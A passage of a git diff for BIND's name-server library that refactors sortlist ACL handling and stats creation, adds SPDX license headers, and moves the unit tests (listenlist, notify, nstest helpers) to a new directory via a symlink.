+			RWLOCK(&env->rwlock, isc_rwlocktype_read);
+			if (env->localhost != NULL) {
+				dns_acl_attach(env->localhost, &inner);
+			}
+			RWUNLOCK(&env->rwlock, isc_rwlocktype_read);
+
+			if (inner != NULL) {
+				*argp = inner;
+				return (NS_SORTLISTTYPE_2ELEMENT);
+			}
+		}
+
+		if (order_elt->type == dns_aclelementtype_localnets) {
+			dns_acl_t *inner = NULL;
+			RWLOCK(&env->rwlock, isc_rwlocktype_read);
+			if (env->localnets != NULL) {
+				dns_acl_attach(env->localnets, &inner);
+			}
+			RWUNLOCK(&env->rwlock, isc_rwlocktype_read);
+			if (inner != NULL) {
+				*argp = inner;
+				return (NS_SORTLISTTYPE_2ELEMENT);
 			}
 		}
+
+		/*
+		 * BIND 8 allows a bare IP prefix as
+		 * the 2nd element of a 2-element
+		 * sortlist statement.
+		 */
+		*argp = order_elt;
+		return (NS_SORTLISTTYPE_1ELEMENT);
 	}
 
-	/* No match; don't sort. */
 dont_sort:
 	*argp = NULL;
 	return (NS_SORTLISTTYPE_NONE);
@@ -108,7 +127,7 @@ ns_sortlist_setup(dns_acl_t *acl, dns_aclenv_t *env, isc_netaddr_t *clientaddr,
 int
 ns_sortlist_addrorder2(const isc_netaddr_t *addr, const void *arg) {
 	const dns_sortlist_arg_t *sla = (const dns_sortlist_arg_t *)arg;
-	const dns_aclenv_t *env = sla->env;
+	dns_aclenv_t *env = sla->env;
 	const dns_acl_t *sortacl = sla->acl;
 	int match;
 
@@ -125,7 +144,7 @@ ns_sortlist_addrorder2(const isc_netaddr_t *addr, const void *arg) {
 int
 ns_sortlist_addrorder1(const isc_netaddr_t *addr, const void *arg) {
 	const dns_sortlist_arg_t *sla = (const dns_sortlist_arg_t *)arg;
-	const dns_aclenv_t *env = sla->env;
+	dns_aclenv_t *env = sla->env;
 	const dns_aclelement_t *element = sla->element;
 
 	if (dns_aclelement_match(addr, NULL, element, env, NULL)) {
@@ -134,30 +153,3 @@ ns_sortlist_addrorder1(const isc_netaddr_t *addr, const void *arg) {
 
 	return (INT_MAX);
 }
-
-void
-ns_sortlist_byaddrsetup(dns_acl_t *sortlist_acl, dns_aclenv_t *env,
-			isc_netaddr_t *client_addr,
-			dns_addressorderfunc_t *orderp, const void **argp) {
-	ns_sortlisttype_t sortlisttype;
-
-	sortlisttype = ns_sortlist_setup(sortlist_acl, env, client_addr, argp);
-
-	switch (sortlisttype) {
-	case NS_SORTLISTTYPE_1ELEMENT:
-		*orderp = ns_sortlist_addrorder1;
-		break;
-	case NS_SORTLISTTYPE_2ELEMENT:
-		*orderp = ns_sortlist_addrorder2;
-		break;
-	case NS_SORTLISTTYPE_NONE:
-		*orderp = NULL;
-		break;
-	default:
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "unexpected return from ns_sortlist_setup(): "
-				 "%d",
-				 sortlisttype);
-		break;
-	}
-}
diff --git a/lib/ns/stats.c b/lib/ns/stats.c
index 4b6cdbf635..84dd0ab029 100644
--- a/lib/ns/stats.c
+++ b/lib/ns/stats.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -56,34 +58,21 @@ ns_stats_detach(ns_stats_t **statsp) {
 	}
 }
 
-isc_result_t
+void
 ns_stats_create(isc_mem_t *mctx, int ncounters, ns_stats_t **statsp) {
-	ns_stats_t *stats;
-	isc_result_t result;
-
 	REQUIRE(statsp != NULL && *statsp == NULL);
 
-	stats = isc_mem_get(mctx, sizeof(*stats));
+	ns_stats_t *stats = isc_mem_get(mctx, sizeof(*stats));
 	stats->counters = NULL;
 
 	isc_refcount_init(&stats->references, 1);
 
-	result = isc_stats_create(mctx, &stats->counters, ncounters);
-	if (result != ISC_R_SUCCESS) {
-		goto clean_mem;
-	}
+	isc_stats_create(mctx, &stats->counters, ncounters);
 
 	stats->magic = NS_STATS_MAGIC;
 	stats->mctx = NULL;
 	isc_mem_attach(mctx, &stats->mctx);
 	*statsp = stats;
-
-	return (ISC_R_SUCCESS);
-
-clean_mem:
-	isc_mem_put(mctx, stats, sizeof(*stats));
-
-	return (result);
 }
 
 /*%
diff --git a/lib/ns/tests b/lib/ns/tests
new file mode 120000
index 0000000000..0ec3da8d12
--- /dev/null
+++ b/lib/ns/tests
@@ -0,0 +1 @@
+../../tests/ns
\ No newline at end of file
diff --git a/lib/ns/tests/Makefile.am b/lib/ns/tests/Makefile.am
deleted file mode 100644
index 31390fabfe..0000000000
--- a/lib/ns/tests/Makefile.am
+++ /dev/null
@@ -1,32 +0,0 @@
-include $(top_srcdir)/Makefile.top
-include $(top_srcdir)/Makefile.tests
-
-AM_CPPFLAGS +=			\
-	$(LIBISC_CFLAGS)	\
-	$(LIBDNS_CFLAGS)	\
-	$(LIBNS_CFLAGS)
-
-LDADD +=			\
-	libnstest.la		\
-	$(LIBISC_LIBS)		\
-	$(LIBDNS_LIBS)		\
-	$(LIBNS_LIBS)
-
-check_LTLIBRARIES = libnstest.la
-libnstest_la_SOURCES =		\
-	nstest.c 		\
-	nstest.h
-
-check_PROGRAMS =		\
-	listenlist_test		\
-	notify_test		\
-	plugin_test		\
-	query_test
-
-TESTS = $(check_PROGRAMS)
-
-unit-local: check
-
-EXTRA_DIST = testdata
-
-LOG_COMPILER = $(builddir)/../../unit-test-driver.sh
diff --git a/lib/ns/tests/listenlist_test.c b/lib/ns/tests/listenlist_test.c
deleted file mode 100644
index 94012e9fdc..0000000000
--- a/lib/ns/tests/listenlist_test.c
+++ /dev/null
@@ -1,142 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <isc/util.h>
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/list.h>
-#include <isc/print.h>
-#include <isc/random.h>
-
-#include <dns/acl.h>
-
-#include <ns/listenlist.h>
-
-#include "nstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	isc__nm_force_tid(0);
-
-	result = ns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc__nm_force_tid(-1);
-
-	ns_test_end();
-
-	return (0);
-}
-
-/* test that ns_listenlist_default() works */
-static void
-ns_listenlist_default_test(void **state) {
-	isc_result_t result;
-	in_port_t port = 5300 + isc_random8();
-	ns_listenlist_t *list = NULL;
-	ns_listenelt_t *elt;
-	int count;
-
-	UNUSED(state);
-
-	result = ns_listenlist_default(mctx, port, -1, false, &list);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_non_null(list);
-
-	assert_false(ISC_LIST_EMPTY(list->elts));
-
-	count = 0;
-	elt = ISC_LIST_HEAD(list->elts);
-	while (elt != NULL) {
-		ns_listenelt_t *next = ISC_LIST_NEXT(elt, link);
-		dns_acl_t *acl = NULL;
-
-		dns_acl_attach(elt->acl, &acl);
-		ISC_LIST_UNLINK(list->elts, elt, link);
-		ns_listenelt_destroy(elt);
-		elt = next;
-
-		assert_true(dns_acl_isnone(acl));
-		dns_acl_detach(&acl);
-		count++;
-	}
-
-	assert_true(ISC_LIST_EMPTY(list->elts));
-	assert_int_equal(count, 1);
-
-	ns_listenlist_detach(&list);
-
-	result = ns_listenlist_default(mctx, port, -1, true, &list);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_false(ISC_LIST_EMPTY(list->elts));
-
-	/* This time just use ns_listenlist_detach() to destroy elements */
-	count = 0;
-	elt = ISC_LIST_HEAD(list->elts);
-	while (elt != NULL) {
-		ns_listenelt_t *next = ISC_LIST_NEXT(elt, link);
-		assert_true(dns_acl_isany(elt->acl));
-		elt = next;
-		count++;
-	}
-
-	assert_int_equal(count, 1);
-
-	ns_listenlist_detach(&list);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(ns_listenlist_default_test,
-						_setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* HAVE_CMOCKA */
diff --git a/lib/ns/tests/notify_test.c b/lib/ns/tests/notify_test.c
deleted file mode 100644
index 73651243b7..0000000000
--- a/lib/ns/tests/notify_test.c
+++ /dev/null
@@ -1,169 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#include <isc/util.h>
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/event.h>
-#include <isc/print.h>
-#include <isc/task.h>
-#include <isc/thread.h>
-
-#include <dns/acl.h>
-#include <dns/rcode.h>
-#include <dns/view.h>
-
-#include <ns/client.h>
-#include <ns/notify.h>
-
-#include "nstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	isc__nm_force_tid(0);
-
-	result = ns_test_begin(NULL, true);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc__nm_force_tid(-1);
-
-	ns_test_end();
-
-	return (0);
-}
-
-static void
-check_response(isc_buffer_t *buf) {
-	isc_result_t result;
-	dns_message_t *message = NULL;
-	char rcodebuf[20];
-	isc_buffer_t b;
-
-	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &message);
-
-	result = dns_message_parse(message, buf, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	isc_buffer_init(&b, rcodebuf, sizeof(rcodebuf));
-	result = dns_rcode_totext(message->rcode, &b);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	assert_int_equal(message->rcode, dns_rcode_noerror);
-
-	dns_message_detach(&message);
-}
-
-/* test ns_notify_start() */
-static void
-notify_start(void **state) {
-	isc_result_t result;
-	ns_client_t *client = NULL;
-	isc_nmhandle_t *handle = NULL;
-	dns_message_t *nmsg = NULL;
-	unsigned char ndata[4096];
-	isc_buffer_t nbuf;
-	size_t nsize;
-
-	UNUSED(state);
-
-	result = ns_test_getclient(NULL, false, &client);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = ns_test_makeview("view", false, &client->view);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	result = ns_test_serve_zone("example.com", "testdata/notify/zone1.db",
-				    client->view);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Create a NOTIFY message by parsing a file in testdata.
-	 * (XXX: use better message mocking method when available.)
-	 */
-
-	result = ns_test_getdata("testdata/notify/notify1.msg", ndata,
-				 sizeof(ndata), &nsize);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	isc_buffer_init(&nbuf, ndata, nsize);
-	isc_buffer_add(&nbuf, nsize);
-
-	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &nmsg);
-
-	result = dns_message_parse(nmsg, &nbuf, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	/*
-	 * Set up client object with this message and test the NOTIFY
-	 * handler.
-	 */
-	if (client->message != NULL) {
-		dns_message_detach(&client->message);
-	}
-	client->message = nmsg;
-	nmsg = NULL;
-	client->sendcb = check_response;
-	ns_notify_start(client, client->handle);
-
-	/*
-	 * Clean up
-	 */
-	ns_test_cleanup_zone();
-
-	handle = client->handle;
-	isc_nmhandle_detach(&client->handle);
-	isc_nmhandle_detach(&handle);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(notify_start, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* HAVE_CMOCKA */
diff --git a/lib/ns/tests/nstest.c b/lib/ns/tests/nstest.c
deleted file mode 100644
index 3c88029151..0000000000
--- a/lib/ns/tests/nstest.c
+++ /dev/null
@@ -1,976 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include "nstest.h"
-#include <inttypes.h>
-#include <stdbool.h>
-#include <stdlib.h>
-#include <time.h>
-#include <unistd.h>
-
-#include <isc/app.h>
-#include <isc/buffer.h>
-#include <isc/file.h>
-#include <isc/hash.h>
-#include <isc/managers.h>
-#include <isc/mem.h>
-#include <isc/netmgr.h>
-#include <isc/os.h>
-#include <isc/print.h>
-#include <isc/random.h>
-#include <isc/socket.h>
-#include <isc/stdio.h>
-#include <isc/string.h>
-#include <isc/task.h>
-#include <isc/timer.h>
-#include <isc/util.h>
-
-#include <dns/cache.h>
-#include <dns/db.h>
-#include <dns/dispatch.h>
-#include <dns/fixedname.h>
-#include <dns/log.h>
-#include <dns/name.h>
-#include <dns/result.h>
-#include <dns/view.h>
-#include <dns/zone.h>
-
-#include <ns/client.h>
-#include <ns/hooks.h>
-#include <ns/interfacemgr.h>
-#include <ns/server.h>
-
-isc_mem_t *mctx = NULL;
-isc_log_t *lctx = NULL;
-isc_nm_t *netmgr = NULL;
-isc_taskmgr_t *taskmgr = NULL;
-isc_task_t *maintask = NULL;
-isc_timermgr_t *timermgr = NULL;
-isc_socketmgr_t *socketmgr = NULL;
-dns_zonemgr_t *zonemgr = NULL;
-dns_dispatchmgr_t *dispatchmgr = NULL;
-ns_clientmgr_t *clientmgr = NULL;
-ns_interfacemgr_t *interfacemgr = NULL;
-ns_server_t *sctx = NULL;
-bool app_running = false;
-int ncpus;
-bool debug_mem_record = true;
-static atomic_bool run_managers = ATOMIC_VAR_INIT(false);
-
-static bool dst_active = false;
-static bool test_running = false;
-
-static dns_zone_t *served_zone = NULL;
-
-/*
- * We don't want to use netmgr-based client accounting, we need to emulate it.
- */
-atomic_uint_fast32_t client_refs[32];
-atomic_uintptr_t client_addrs[32];
-
-void
-isc__nmhandle_attach(isc_nmhandle_t *source, isc_nmhandle_t **targetp FLARG) {
-	ns_client_t *client = (ns_client_t *)source;
-	int i;
-
-	for (i = 0; i < 32; i++) {
-		if (atomic_load(&client_addrs[i]) == (uintptr_t)client) {
-			break;
-		}
-	}
-	INSIST(i < 32);
-	INSIST(atomic_load(&client_refs[i]) > 0);
-
-	atomic_fetch_add(&client_refs[i], 1);
-
-	*targetp = source;
-	return;
-}
-
-void
-isc__nmhandle_detach(isc_nmhandle_t **handlep FLARG) {
-	isc_nmhandle_t *handle = *handlep;
-	ns_client_t *client = (ns_client_t *)handle;
-	int i;
-
-	*handlep = NULL;
-
-	for (i = 0; i < 32; i++) {
-		if (atomic_load(&client_addrs[i]) == (uintptr_t)client) {
-			break;
-		}
-	}
-	INSIST(i < 32);
-
-	if (atomic_fetch_sub(&client_refs[i], 1) == 1) {
-		dns_view_detach(&client->view);
-		client->state = 4;
-		ns__client_reset_cb(client);
-		ns__client_put_cb(client);
-		isc_mem_put(mctx, client, sizeof(ns_client_t));
-		atomic_store(&client_addrs[i], (uintptr_t)NULL);
-	}
-
-	return;
-}
-
-/*
- * Logging categories: this needs to match the list in lib/ns/log.c.
- */
-static isc_logcategory_t categories[] = { { "", 0 },
-					  { "client", 0 },
-					  { "network", 0 },
-					  { "update", 0 },
-					  { "queries", 0 },
-					  { "unmatched", 0 },
-					  { "update-security", 0 },
-					  { "query-errors", 0 },
-					  { NULL, 0 } };
-
-static isc_result_t
-matchview(isc_netaddr_t *srcaddr, isc_netaddr_t *destaddr,
-	  dns_message_t *message, dns_aclenv_t *env, isc_result_t *sigresultp,
-	  dns_view_t **viewp) {
-	UNUSED(srcaddr);
-	UNUSED(destaddr);
-	UNUSED(message);
-	UNUSED(env);
-	UNUSED(sigresultp);
-	UNUSED(viewp);
-
-	return (ISC_R_NOTIMPLEMENTED);
-}
-
-/*
- * These need to be shut down from a running task.
- */
-static atomic_bool shutdown_done = ATOMIC_VAR_INIT(false);
-static void
-shutdown_managers(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	if (interfacemgr != NULL) {
-		ns_interfacemgr_shutdown(interfacemgr);
-		ns_interfacemgr_detach(&interfacemgr);
-	}
-
-	if (dispatchmgr != NULL) {
-		dns_dispatchmgr_destroy(&dispatchmgr);
-	}
-
-	atomic_store(&shutdown_done, true);
-	atomic_store(&run_managers, false);
-
-	isc_event_free(&event);
-}
-
-static void
-cleanup_managers(void) {
-	atomic_store(&shutdown_done, false);
-
-	if (maintask != NULL) {
-		isc_task_shutdown(maintask);
-		isc_task_destroy(&maintask);
-	}
-
-	while (atomic_load(&run_managers) && !atomic_load(&shutdown_done)) {
-		/*
-		 * There's no straightforward way to determine
-		 * whether all the clients have shut down, so
-		 * we'll just sleep for a bit and hope.
-		 */
-		ns_test_nap(500000);
-	}
-
-	if (sctx != NULL) {
-		ns_server_detach(&sctx);
-	}
-	if (interfacemgr != NULL) {
-		ns_interfacemgr_detach(&interfacemgr);
-	}
-
-	isc_managers_destroy(netmgr == NULL ? NULL : &netmgr,
-			     taskmgr == NULL ? NULL : &taskmgr,
-			     timermgr == NULL ? NULL : &timermgr,
-			     socketmgr == NULL ? NULL : &socketmgr);
-
-	if (app_running) {
-		isc_app_finish();
-	}
-}
-
-static void
-scan_interfaces(isc_task_t *task, isc_event_t *event) {
-	UNUSED(task);
-
-	ns_interfacemgr_scan(interfacemgr, true);
-	isc_event_free(&event);
-}
-
-static isc_result_t
-create_managers(void) {
-	isc_result_t result;
-	in_port_t port = 5300 + isc_random8();
-	ns_listenlist_t *listenon = NULL;
-	isc_event_t *event = NULL;
-	ncpus = isc_os_ncpus();
-
-	isc_managers_create(mctx, ncpus, 0, 0, &netmgr, &taskmgr, &timermgr,
-			    &socketmgr);
-	CHECK(isc_task_create_bound(taskmgr, 0, &maintask, 0));
-	isc_taskmgr_setexcltask(taskmgr, maintask);
-	CHECK(isc_task_onshutdown(maintask, shutdown_managers, NULL));
-
-	CHECK(ns_server_create(mctx, matchview, &sctx));
-
-	CHECK(dns_dispatchmgr_create(mctx, &dispatchmgr));
-
-	CHECK(ns_interfacemgr_create(mctx, sctx, taskmgr, timermgr, socketmgr,
-				     netmgr, dispatchmgr, maintask, ncpus, NULL,
-				     ncpus, &interfacemgr));
-
-	CHECK(ns_listenlist_default(mctx, port, -1, true, &listenon));
-	ns_interfacemgr_setlistenon4(interfacemgr, listenon);
-	ns_listenlist_detach(&listenon);
-
-	event = isc_event_allocate(mctx, maintask, ISC_TASKEVENT_TEST,
-				   scan_interfaces, NULL, sizeof(isc_event_t));
-	isc_task_send(maintask, &event);
-
-	/*
-	 * There's no straightforward way to determine
-	 * whether the interfaces have been scanned,
-	 * we'll just sleep for a bit and hope.
-	 */
-	ns_test_nap(500000);
-	clientmgr = ns_interfacemgr_getclientmgr(interfacemgr);
-
-	atomic_store(&run_managers, true);
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	cleanup_managers();
-	return (result);
-}
-
-isc_result_t
-ns_test_begin(FILE *logfile, bool start_managers) {
-	isc_result_t result;
-
-	INSIST(!test_running);
-	test_running = true;
-
-	if (start_managers) {
-		CHECK(isc_app_start());
-	}
-	if (debug_mem_record) {
-		isc_mem_debugging |= ISC_MEM_DEBUGRECORD;
-	}
-
-	INSIST(mctx == NULL);
-	isc_mem_create(&mctx);
-
-	if (!dst_active) {
-		CHECK(dst_lib_init(mctx, NULL));
-		dst_active = true;
-	}
-
-	if (logfile != NULL) {
-		isc_logdestination_t destination;
-		isc_logconfig_t *logconfig = NULL;
-
-		INSIST(lctx == NULL);
-		isc_log_create(mctx, &lctx, &logconfig);
-
-		isc_log_registercategories(lctx, categories);
-		isc_log_setcontext(lctx);
-		dns_log_init(lctx);
-		dns_log_setcontext(lctx);
-
-		destination.file.stream = logfile;
-		destination.file.name = NULL;
-		destination.file.versions = ISC_LOG_ROLLNEVER;
-		destination.file.maximum_size = 0;
-		isc_log_createchannel(logconfig, "stderr", ISC_LOG_TOFILEDESC,
-				      ISC_LOG_DYNAMIC, &destination, 0);
-		CHECK(isc_log_usechannel(logconfig, "stderr", NULL, NULL));
-	}
-
-	dns_result_register();
-
-	if (start_managers) {
-		CHECK(create_managers());
-	}
-
-	/*
-	 * atf-run changes us to a /tmp directory, so tests
-	 * that access test data files must first chdir to the proper
-	 * location.
-	 */
-	if (chdir(TESTS_DIR) == -1) {
-		CHECK(ISC_R_FAILURE);
-	}
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	ns_test_end();
-	return (result);
-}
-
-void
-ns_test_end(void) {
-	cleanup_managers();
-
-	dst_lib_destroy();
-	dst_active = false;
-
-	if (lctx != NULL) {
-		isc_log_destroy(&lctx);
-	}
-
-	if (mctx != NULL) {
-		isc_mem_destroy(&mctx);
-	}
-
-	test_running = false;
-}
-
-isc_result_t
-ns_test_makeview(const char *name, bool with_cache, dns_view_t **viewp) {
-	dns_cache_t *cache = NULL;
-	dns_view_t *view = NULL;
-	isc_result_t result;
-
-	CHECK(dns_view_create(mctx, dns_rdataclass_in, name, &view));
-
-	if (with_cache) {
-		CHECK(dns_cache_create(mctx, mctx, taskmgr, timermgr,
-				       dns_rdataclass_in, "", "rbt", 0, NULL,
-				       &cache));
-		dns_view_setcache(view, cache, false);
-		/*
-		 * Reference count for "cache" is now at 2, so decrement it in
-		 * order for the cache to be automatically freed when "view"
-		 * gets freed.
-		 */
-		dns_cache_detach(&cache);
-	}
-
-	*viewp = view;
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (view != NULL) {
-		dns_view_detach(&view);
-	}
-	return (result);
-}
-
-/*
- * Create a zone with origin 'name', return a pointer to the zone object in
- * 'zonep'.  If 'view' is set, add the zone to that view; otherwise, create
- * a new view for the purpose.
- *
- * If the created view is going to be needed by the caller subsequently,
- * then 'keepview' should be set to true; this will prevent the view
- * from being detached.  In this case, the caller is responsible for
- * detaching the view.
- */
-isc_result_t
-ns_test_makezone(const char *name, dns_zone_t **zonep, dns_view_t *view,
-		 bool keepview) {
-	isc_result_t result;
-	dns_zone_t *zone = NULL;
-	isc_buffer_t buffer;
-	dns_fixedname_t fixorigin;
-	dns_name_t *origin;
-
-	if (view == NULL) {
-		CHECK(dns_view_create(mctx, dns_rdataclass_in, "view", &view));
-	} else if (!keepview) {
-		keepview = true;
-	}
-
-	zone = *zonep;
-	if (zone == NULL) {
-		CHECK(dns_zone_create(&zone, mctx));
-	}
-
-	isc_buffer_constinit(&buffer, name, strlen(name));
-	isc_buffer_add(&buffer, strlen(name));
-	origin = dns_fixedname_initname(&fixorigin);
-	CHECK(dns_name_fromtext(origin, &buffer, dns_rootname, 0, NULL));
-	CHECK(dns_zone_setorigin(zone, origin));
-	dns_zone_setview(zone, view);
-	dns_zone_settype(zone, dns_zone_master);
-	dns_zone_setclass(zone, view->rdclass);
-	dns_view_addzone(view, zone);
-
-	if (!keepview) {
-		dns_view_detach(&view);
-	}
-
-	*zonep = zone;
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-	if (zone != NULL) {
-		dns_zone_detach(&zone);
-	}
-	if (view != NULL) {
-		dns_view_detach(&view);
-	}
-	return (result);
-}
-
-isc_result_t
-ns_test_setupzonemgr(void) {
-	isc_result_t result;
-	REQUIRE(zonemgr == NULL);
-
-	result = dns_zonemgr_create(mctx, taskmgr, timermgr, socketmgr, NULL,
-				    &zonemgr);
-	return (result);
-}
-
-isc_result_t
-ns_test_managezone(dns_zone_t *zone) {
-	isc_result_t result;
-	REQUIRE(zonemgr != NULL);
-
-	result = dns_zonemgr_setsize(zonemgr, 1);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	result = dns_zonemgr_managezone(zonemgr, zone);
-	return (result);
-}
-
-void
-ns_test_releasezone(dns_zone_t *zone) {
-	REQUIRE(zonemgr != NULL);
-	dns_zonemgr_releasezone(zonemgr, zone);
-}
-
-void
-ns_test_closezonemgr(void) {
-	REQUIRE(zonemgr != NULL);
-
-	dns_zonemgr_shutdown(zonemgr);
-	dns_zonemgr_detach(&zonemgr);
-}
-
-isc_result_t
-ns_test_serve_zone(const char *zonename, const char *filename,
-		   dns_view_t *view) {
-	isc_result_t result;
-	dns_db_t *db = NULL;
-
-	/*
-	 * Prepare zone structure for further processing.
-	 */
-	result = ns_test_makezone(zonename, &served_zone, view, true);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	/*
-	 * Start zone manager.
-	 */
-	result = ns_test_setupzonemgr();
-	if (result != ISC_R_SUCCESS) {
-		goto free_zone;
-	}
-
-	/*
-	 * Add the zone to the zone manager.
-	 */
-	result = ns_test_managezone(served_zone);
-	if (result != ISC_R_SUCCESS) {
-		goto close_zonemgr;
-	}
-
-	view->nocookieudp = 512;
-
-	/*
-	 * Set path to the master file for the zone and then load it.
-	 */
-	dns_zone_setfile(served_zone, filename, dns_masterformat_text,
-			 &dns_master_style_default);
-	result = dns_zone_load(served_zone, false);
-	if (result != ISC_R_SUCCESS) {
-		goto release_zone;
-	}
-
-	/*
-	 * The zone should now be loaded; test it.
-	 */
-	result = dns_zone_getdb(served_zone, &db);
-	if (result != ISC_R_SUCCESS) {
-		goto release_zone;
-	}
-	if (db != NULL) {
-		dns_db_detach(&db);
-	}
-
-	return (ISC_R_SUCCESS);
-
-release_zone:
-	ns_test_releasezone(served_zone);
-close_zonemgr:
-	ns_test_closezonemgr();
-free_zone:
-	dns_zone_detach(&served_zone);
-
-	return (result);
-}
-
-void
-ns_test_cleanup_zone(void) {
-	ns_test_releasezone(served_zone);
-	ns_test_closezonemgr();
-
-	dns_zone_detach(&served_zone);
-}
-
-isc_result_t
-ns_test_getclient(ns_interface_t *ifp0, bool tcp, ns_client_t **clientp) {
-	isc_result_t result;
-	ns_client_t *client = isc_mem_get(mctx, sizeof(ns_client_t));
-	int i;
-
-	UNUSED(ifp0);
-	UNUSED(tcp);
-
-	result = ns__client_setup(client, clientmgr, true);
-
-	for (i = 0; i < 32; i++) {
-		if (atomic_load(&client_addrs[i]) == (uintptr_t)NULL ||
-		    atomic_load(&client_addrs[i]) == (uintptr_t)client)
-		{
-			break;
-		}
-	}
-	REQUIRE(i < 32);
-
-	atomic_store(&client_refs[i], 2);
-	atomic_store(&client_addrs[i], (uintptr_t)client);
-	client->handle = (isc_nmhandle_t *)client; /* Hack */
-	*clientp = client;
-
-	return (result);
-}
-
-/*%
- * Synthesize a DNS message based on supplied QNAME, QTYPE and flags, then
- * parse it and store the results in client->message.
- */
-static isc_result_t
-attach_query_msg_to_client(ns_client_t *client, const char *qnamestr,
-			   dns_rdatatype_t qtype, unsigned int qflags) {
-	dns_rdataset_t *qrdataset = NULL;
-	dns_message_t *message = NULL;
-	unsigned char query[65536];
-	dns_name_t *qname = NULL;
-	isc_buffer_t querybuf;
-	dns_compress_t cctx;
-	isc_result_t result;
-
-	REQUIRE(client != NULL);
-	REQUIRE(qnamestr != NULL);
-
-	/*
-	 * Create a new DNS message holding a query.
-	 */
-	dns_message_create(mctx, DNS_MESSAGE_INTENTRENDER, &message);
-
-	/*
-	 * Set query ID to a random value.
-	 */
-	message->id = isc_random16();
-
-	/*
-	 * Set query flags as requested by the caller.
-	 */
-	message->flags = qflags;
-
-	/*
-	 * Allocate structures required to construct the query.
-	 */
-	result = dns_message_gettemprdataset(message, &qrdataset);
-	if (result != ISC_R_SUCCESS) {
-		goto destroy_message;
-	}
-	result = dns_message_gettempname(message, &qname);
-	if (result != ISC_R_SUCCESS) {
-		goto put_rdataset;
-	}
-
-	/*
-	 * Convert "qnamestr" to a DNS name, create a question rdataset of
-	 * class IN and type "qtype", link the two and add the result to the
-	 * QUESTION section of the query.
-	 */
-	result = dns_name_fromstring(qname, qnamestr, 0, mctx);
-	if (result != ISC_R_SUCCESS) {
-		goto put_name;
-	}
-	dns_rdataset_makequestion(qrdataset, dns_rdataclass_in, qtype);
-	ISC_LIST_APPEND(qname->list, qrdataset, link);
-	dns_message_addname(message, qname, DNS_SECTION_QUESTION);
-
-	/*
-	 * Render the query.
-	 */
-	dns_compress_init(&cctx, -1, mctx);
-	isc_buffer_init(&querybuf, query, sizeof(query));
